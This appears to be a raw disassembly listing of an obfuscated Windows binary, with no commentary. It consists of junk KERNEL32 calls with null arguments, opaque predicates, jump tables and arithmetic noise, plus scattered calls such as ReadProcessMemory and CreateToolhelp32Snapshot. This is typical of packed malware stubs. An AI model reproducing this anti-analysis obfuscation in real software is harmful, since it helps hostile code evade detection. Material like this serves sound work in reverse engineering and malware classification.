movzx ebx, word [ebp - 0xac]
sub ebx, dword [ebp - 0x10c]
sub ebx, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
sub ebx, eax
sub ebx, dword [ebp - 0x10c]
and edi, ebx
or esi, edi
mov dword [ebp - 0x144], esi
jmp 0x41b0b3
movzx esi, word [ebp - 0xac]
mov edi, dword [ebp - 0x10c]
add edi, dword [ebp - 0x10c]
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00419480
movzx ecx, ax
add edi, ecx
and esi, edi
mov word [ebp - 0xac], si
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x180], edx
mov eax, dword [ebp - 0x180]
sub eax, 0x16
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xdf
ja case.0x41b0eb.1
mov ecx, dword [ebp - 0x180]
movzx edx, byte [ecx + 0x43c790]
jmp dword [edx*4 + 0x43c77c]
movzx eax, word [ebp - 0xac]
mov esi, dword [ebp - 0x10c]
sub esi, eax
add esi, 0x5736d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
sub esi, eax
movzx ecx, word [ebp - 0xac]
add esi, ecx
mov dword [ebp - 0x88], esi
jmp 0x41b326
mov dword [ebp - 0x88], 0x74750
jmp 0x41b326
movzx edx, word [ebp - 0x88]
push edx
movzx eax, byte [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0x88]
push ecx
call fcn.00415cf0
mov esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea edx, [esi + eax - 0x77276]
or edx, dword [ebp - 0x10c]
mov dword [ebp - 0x88], edx
jmp 0x41b326
movzx eax, word [ebp - 0xac]
mov esi, 0x6c19e
sub esi, eax
add esi, 0x7bfcc
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
sub esi, eax
add esi, 0xa04bb
movzx ecx, word [ebp - 0x88]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.00417b10
mov ecx, dword [ebp - 0x10c]
lea ecx, [eax + ecx + 0x72c84]
shr esi, cl
and esi, 0x41ce6
and esi, 0x5838e
mov dword [ebp - 0x88], esi
jmp 0x41b326
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
call fcn.004040a0
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0xa8e13]
mov esi, eax
xor edi, edi
sub esi, dword [ebp - 0x70]
sbb edi, dword [ebp - 0x6c]
and esi, 0x123b3
and edi, 0
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00407ab0
movzx eax, al
add eax, 0x2fb6a
movzx edx, word [ebp - 0xac]
sub eax, edx
cdq
and esi, eax
and edi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
xor ecx, ecx
or esi, eax
or edi, ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00405fd0
movzx edx, ax
mov eax, 0x2659a
sub eax, edx
cdq
mov ebx, eax
mov eax, edx
mov dword [ebp - 0x184], eax
call fcn.00416f10
add ebx, eax
mov eax, dword [ebp - 0x184]
adc eax, edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov dword [ebp - 0x188], eax
call fcn.0043dd10
movzx eax, ax
cdq
add ebx, eax
mov eax, dword [ebp - 0x188]
adc eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
movzx ecx, word [ebp - 0xac]
mov edx, 0x5d493
sub edx, ecx
and eax, edx
mov word [ebp - 0xac], ax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xc
je 0x41b37e
cmp dword [ebp - 0x18c], 0x5c
je 0x41b408
cmp dword [ebp - 0x18c], 0xe1
je 0x41b448
jmp 0x41b47c
push 0
push 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x88]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x88]
push edx
movzx eax, word [ebp - 0xac]
push eax
call fcn.00401950
movzx ecx, ax
mov edx, dword [ebp - 0x10c]
lea eax, [ecx + edx + 0x5c55]
and esi, eax
movzx ecx, word [ebp - 0xac]
movzx edx, word [ebp - 0xac]
mov eax, dword [ebp - 0x10c]
lea edx, [edx + eax + 0x663d0]
and ecx, edx
or esi, ecx
mov dword [ebp - 0x88], esi
jmp 0x41b496
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov esi, eax
movzx eax, word [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
call fcn.00417b10
lea edx, [esi + eax - 0x57422]
movzx eax, word [ebp - 0xac]
lea ecx, [edx + eax - 0x13bf8e]
mov dword [ebp - 0x88], ecx
jmp 0x41b496
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esi, eax
movzx edx, word [ebp - 0xac]
and esi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
add eax, 0x7ffa3
and esi, eax
and esi, dword [ebp - 0x10c]
mov dword [ebp - 0x88], esi
jmp 0x41b496
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x1667e]
mov word [ebp - 0xac], dx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00416300
movzx esi, al
and esi, 0x2f133
movzx edi, byte [ebp - 0x81]
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
and edi, eax
or esi, edi
xor edx, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00415540
mov esi, eax
movzx edx, byte [ebp - 0x81]
add esi, edx
and esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movzx ecx, byte [ebp - 0x81]
lea edx, [eax + ecx + 0x6ad69]
and esi, edx
and esi, 0x54021
mov eax, 0x1fab8
sub eax, dword [ebp - 0x10c]
add eax, 0x6da67
and esi, eax
mov dword [ebp - 0x144], esi
mov ecx, 0x9f908
sub ecx, dword [ebp - 0x10c]
or ecx, 0x35d65
mov word [ebp - 0xac], cx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00405a80
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], edx
cmp dword [ebp - 0x194], 0x71400
jne 0x41b5a4
cmp dword [ebp - 0x190], 0
je 0x41b5b0
xor edx, edx
jne 0x41b5b0
xor eax, eax
jne 0x41b5b0
xor ecx, ecx
je 0x41b5ec
mov edx, 0xa1650
sub edx, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
lea esi, [edx + eax - 0x47c35]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
sub esi, eax
and esi, dword [ebp - 0x10c]
and esi, dword [ebp - 0x10c]
mov dword [ebp - 0x144], esi
jmp 0x41b690
movzx esi, byte [ebp - 0x81]
movzx ecx, word [ebp - 0xac]
add esi, ecx
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x10c]
and esi, edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov edi, eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004050c0
movzx eax, ax
sub edi, eax
and esi, edi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
and esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
movzx edx, word [ebp - 0xac]
sub eax, edx
add eax, 0x104e0
and esi, eax
xor esi, 0x5ac14
or esi, 0x79aef
mov dword [ebp - 0x144], esi
mov eax, dword [ebp - 0x10c]
add eax, 0x78794
sub eax, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0xac]
add eax, ecx
movzx edx, word [ebp - 0xac]
add edx, dword [ebp - 0x10c]
and eax, edx
or eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00407e60
movzx ecx, ax
cmp ecx, 0x6cc68
je 0x41b743
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp eax, 0x7d0c4
jne 0x41b735
movzx edx, word [ebp - 0xac]
cmp edx, 0x7f59b
jne 0x41b743
movzx eax, byte [ebp - 0x81]
cmp eax, 0x3b871
jne 0x41b7c2
movzx ecx, byte [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00419480
movzx esi, ax
movzx edx, word [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
push eax
call fcn.00417b10
add eax, 0x4dafc
or esi, eax
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx - 0x5e821]
or esi, edx
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x41b841
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00418dc0
mov esi, eax
mov edi, edx
add esi, 0x1e6fd
adc edi, 0
movzx eax, word [ebp - 0xac]
cdq
add esi, eax
adc edi, edx
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add esi, ecx
adc edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor ecx, ecx
add esi, eax
adc edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
sub esi, dword [ebp - 0x70]
sbb edi, dword [ebp - 0x6c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
or esi, 0x6a94e
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
xor eax, eax
or edx, dword [ebp - 0x70]
or eax, dword [ebp - 0x6c]
mov dword [ebp - 0x144], edx
xor ecx, ecx
je 0x41b865
mov dword [ebp - 0x144], 0x24a49
jmp 0x41b8c6
mov edx, dword [ebp - 0x10c]
sub edx, 0x7be
mov ebx, edx
xor esi, esi
movzx eax, word [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00418dc0
mov edi, eax
mov eax, edx
add edi, 0x68f2a
adc eax, 0
push 0
mov dword [ebp - 0x198], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
sub edi, eax
mov eax, dword [ebp - 0x198]
sbb eax, ecx
and ebx, edi
and esi, eax
call fcn.00403d30
and ebx, eax
and esi, edx
mov byte [ebp - 0x81], bl
mov edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
add edx, dword [ebp - 0x10c]
add eax, edx
mov esi, eax
xor edi, edi
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call section..text
sub esi, eax
sbb edi, edx
add esi, 0x58f99
adc edi, 0
xor esi, 0x65f67
xor edi, 0
mov word [ebp - 0xac], si
movzx esi, byte [ebp - 0x81]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esi + eax - 0x2c8cb]
mov esi, eax
xor edi, edi
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ecx, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
and esi, ecx
and edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov ebx, eax
sub ebx, 0x34749
movzx eax, word [ebp - 0xac]
sub ebx, eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
add eax, dword [ebp - 0x10c]
xor ebx, eax
xor ecx, ecx
or esi, ebx
or edi, ecx
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
add eax, 0x366f5
mov edx, dword [ebp - 0x10c]
sub edx, 0x91f76
sub edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
or eax, edx
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x10c]
or eax, ecx
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x10c]
je 0x41b9f2
xor eax, eax
jne 0x41b9f2
xor ecx, ecx
je 0x41ba0d
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea ecx, [eax + edx + 0x69c81]
mov dword [ebp - 0x144], ecx
jmp 0x41ba21
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [ebp - 0x144], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
movzx edx, word [ebp - 0xac]
cmp eax, edx
jne 0x41baa0
cmp dword [ebp - 0x70], 0x60c07
jne 0x41baa0
cmp dword [ebp - 0x6c], 0
jne 0x41baa0
mov esi, dword [ebp - 0x10c]
sub esi, 0x9649d
movzx eax, byte [ebp - 0x81]
mov edi, dword [ebp - 0x10c]
sub edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea edi, [edi + eax + 0x493d5]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
sub edi, eax
sub edi, dword [ebp - 0x10c]
and edi, 0xa641e
or esi, edi
mov word [ebp - 0xac], si
jmp 0x41bb15
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00415920
mov esi, eax
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x19c], eax
mov eax, edx
cdq
push edx
push eax
call fcn.00405a80
sub ebx, eax
mov eax, dword [ebp - 0x19c]
sbb eax, edx
movzx ecx, word [ebp - 0xac]
add ecx, 0x2dda3
mov dword [ebp - 0x1a0], eax
mov eax, ecx
cdq
and ebx, eax
mov eax, dword [ebp - 0x1a0]
and eax, edx
or esi, ebx
or edi, eax
mov word [ebp - 0xac], si
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov esi, eax
xor edx, edx
add esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
adc edi, edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00418dc0
mov ebx, eax
mov eax, edx
sub ebx, 0x67827
sbb eax, 0
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x1a4], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0xa4133]
xor eax, eax
and ebx, edx
mov ecx, dword [ebp - 0x1a4]
and ecx, eax
and ebx, 0x491e
and ecx, 0
or esi, ebx
or edi, ecx
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x569c8
or ecx, 0x5ab79
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x70]
push ecx
call fcn.004050c0
movzx edx, ax
movzx eax, byte [ebp - 0x81]
cmp edx, eax
je 0x41bc41
xor ecx, ecx
jne 0x41bc41
cmp dword [ebp - 0x10c], 0x58d9a
je 0x41bc41
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004180b0
cmp eax, 0x329b2
jne 0x41bcf5
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
sub esi, eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x70]
push edx
movzx eax, word [ebp - 0x70]
push eax
call fcn.00415cf0
mov edi, eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405a50
movzx eax, ax
sub edi, eax
add edi, 0x6af01
add edi, dword [ebp - 0x10c]
or esi, edi
xor ecx, ecx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], ecx
jmp 0x41bdb8
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
sub esi, eax
sub esi, 0x38df9
movzx edx, byte [ebp - 0x81]
sub esi, edx
movzx edi, word [ebp - 0xac]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
add edi, dword [ebp - 0x10c]
add eax, edi
sub eax, dword [ebp - 0x10c]
and esi, eax
and esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004180b0
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
add eax, 0x20e65
movzx edx, word [ebp - 0xac]
sub eax, edx
sub eax, 0x1e4ac
and esi, eax
mov word [ebp - 0xac], si
movzx eax, word [ebp - 0xac]
cmp eax, dword [ebp - 0x10c]
jne 0x41bddf
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
adc eax, edx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], eax
jmp 0x41bdf5
movzx eax, word [ebp - 0xac]
cdq
add eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
adc ecx, edx
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x1a8]
sub eax, 0x1c
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xa5
ja case.0x41be2d.1
mov ecx, dword [ebp - 0x1a8]
movzx edx, byte [ecx + 0x43c88c]
jmp dword [edx*4 + 0x43c870]
mov eax, dword [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x88]
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, word [ebp - 0x88]
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
call fcn.00416600
movzx edx, al
add edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x10c]
mov esi, edx
xor edi, edi
movzx eax, word [ebp - 0xac]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
mov ebx, ecx
xor eax, eax
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x1ac], eax
mov eax, edx
cdq
push edx
push eax
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00406400
add ebx, eax
mov eax, dword [ebp - 0x1ac]
adc eax, edx
or esi, ebx
or edi, eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x88]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x88]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x88]
push ecx
movzx edx, word [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x88]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x88]
push edx
call fcn.00405fd0
movzx ebx, ax
sub ebx, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
sub ebx, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
and ebx, eax
xor edx, edx
or esi, ebx
or edi, edx
mov dword [ebp - 0x88], esi
jmp 0x41c0ae
call fcn.004174f0
and eax, 0x6f2b7
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
sub edx, 0x11fdba
and ecx, edx
or eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x41c0ae
mov eax, 0x7d3e8
sub eax, dword [ebp - 0x10c]
and eax, 0x144b1
mov word [ebp - 0xac], ax
jmp 0x41c0ae
mov esi, dword [ebp - 0x10c]
sub esi, 0x22778
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
or esi, eax
mov edi, 0x7ee2e
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
add edi, eax
movzx ecx, word [ebp - 0xac]
and edi, ecx
or esi, edi
mov dword [ebp - 0x88], esi
jmp 0x41c0ae
mov edx, dword [ebp - 0x10c]
or edx, 0x1f44b
mov dword [ebp - 0x88], edx
jmp 0x41c0ae
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x4068f]
mov dword [ebp - 0x88], edx
jmp 0x41c0ae
mov esi, dword [ebp - 0x10c]
add esi, 0x12109
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00405a50
movzx edi, ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
add edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea ecx, [edi + eax + 0x74b47]
sub ecx, dword [ebp - 0x10c]
sub ecx, 0x42a89
and esi, ecx
or esi, dword [ebp - 0x10c]
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
xor edi, edi
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00405a80
mov ecx, 0x38a7f
sub ecx, eax
mov eax, 0
sbb eax, edx
or esi, ecx
or edi, eax
mov dword [ebp - 0x144], esi
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00405d30
mov esi, eax
mov edi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ebx, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
sub ebx, eax
xor edx, edx
and esi, ebx
and edi, edx
mov dword [ebp - 0x144], esi
call fcn.00419940
movzx eax, ax
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
movzx edx, word [ebp - 0xac]
or ecx, edx
mov byte [ebp - 0x81], cl
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
and eax, 0x60e4b
mov esi, eax
xor edi, edi
movzx eax, byte [ebp - 0x81]
cdq
mov ebx, dword [ebp - 0x70]
sub ebx, eax
mov eax, dword [ebp - 0x6c]
sbb eax, edx
sub ebx, 0x242b4
sbb eax, 0
mov ecx, dword [ebp - 0x10c]
xor edx, edx
sub ebx, ecx
sbb eax, edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
mov edx, dword [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
mov dword [ebp - 0x1b0], eax
call fcn.00401950
movzx eax, ax
cdq
sub ebx, eax
mov eax, dword [ebp - 0x1b0]
sbb eax, edx
sub ebx, 0x399b8
sbb eax, 0
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
movzx dx, byte [ebp - 0x81]
movzx ecx, dx
push ecx
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x1b4], eax
mov eax, edx
cdq
push edx
push eax
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00403580
movzx eax, ax
cdq
add ebx, eax
mov eax, dword [ebp - 0x1b4]
adc eax, edx
mov ecx, dword [ebp - 0x10c]
xor edx, edx
add ebx, ecx
adc eax, edx
push 0
mov dword [ebp - 0x1b8], eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor ecx, ecx
add ebx, eax
mov eax, dword [ebp - 0x1b8]
adc eax, ecx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, eax
movzx edi, word [ebp - 0xac]
sub edi, 0x3c154
movzx edx, word [ebp - 0xac]
sub edi, edx
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
